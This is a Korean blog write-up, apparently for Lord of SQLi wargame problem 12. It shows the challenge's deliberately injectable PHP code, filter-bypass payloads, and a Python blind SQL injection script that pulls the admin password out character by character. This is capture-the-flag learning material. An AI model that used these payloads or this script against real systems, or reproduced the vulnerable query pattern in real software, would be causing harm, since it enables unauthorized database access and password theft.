EASY7
LOS 12번 문제 본문
<?php
include "./config.php";
login_chk();
dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
if(preg_match('/\'/i', $_GET[pw])) exit("HeHe");
if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe");
$query = "select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysql_fetch_array(mysql_query($query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'";
$result = @mysql_fetch_array(mysql_query($query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight");
highlight_file(__FILE__);
?>
'no'에 _ . ( ) 들어가면 안됨. substr, ascii 안됨
'pw'에 따옴표 들어가면 안됨.
no = 1 || length(pw) >7 %26%26 id like "admin"
no = 1 || length(pw) <9 %26%26 id like "admin"
이 두문장으로 pw의 길이가 8인것을 알 수 있다.
'no' : '1 || mid(pw, %d, 1) like char(\"%d\") -- d' %(i, j)} 하면 답은 나오는데 admin의 조건이 안들어간다.
그래서 'no' : '1 || mid(pw, %d, 1) like char(\"%d\") and id like "admin" -- d' %(i, j)} 하면 %%%%%%%%만 잡힌다...
생각건데.. mid(pw,%d,1) like "%" 이렇게 와일드카드로 잡혀서 그렇다. 왜 and id like "admin"이 없으면 패스워드가 나오는 것일까???
import requests
URL = "https://los.eagle-jump.org/darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php"
cookies = {"PHPSESSID":"piik5dn813632dqai4b7d09fl7"}
password = ""
for i in range(1, 9) :
for j in range(32, 127) :
params={'no' : '1 || mid(pw, %d, 1) like char(\"%d\") -- d' %(i, j)}
res = requests.get(url=URL, params=params, cookies=cookies)
if("Hello admin" in res.text):
password += chr(j)
break
print("password=" + password)
'Project > Lord of SQL' 카테고리의 다른 글
[Lord of SQL] GREMLIN #1 (0) | 2020.07.24 |
---|---|
LOS 11번 (1) | 2019.08.04 |
Lord of the SQL 10번 (0) | 2019.08.04 |
Lord of the SQL 9번 (0) | 2019.08.04 |
Lord of the SQL 8번 (0) | 2019.08.04 |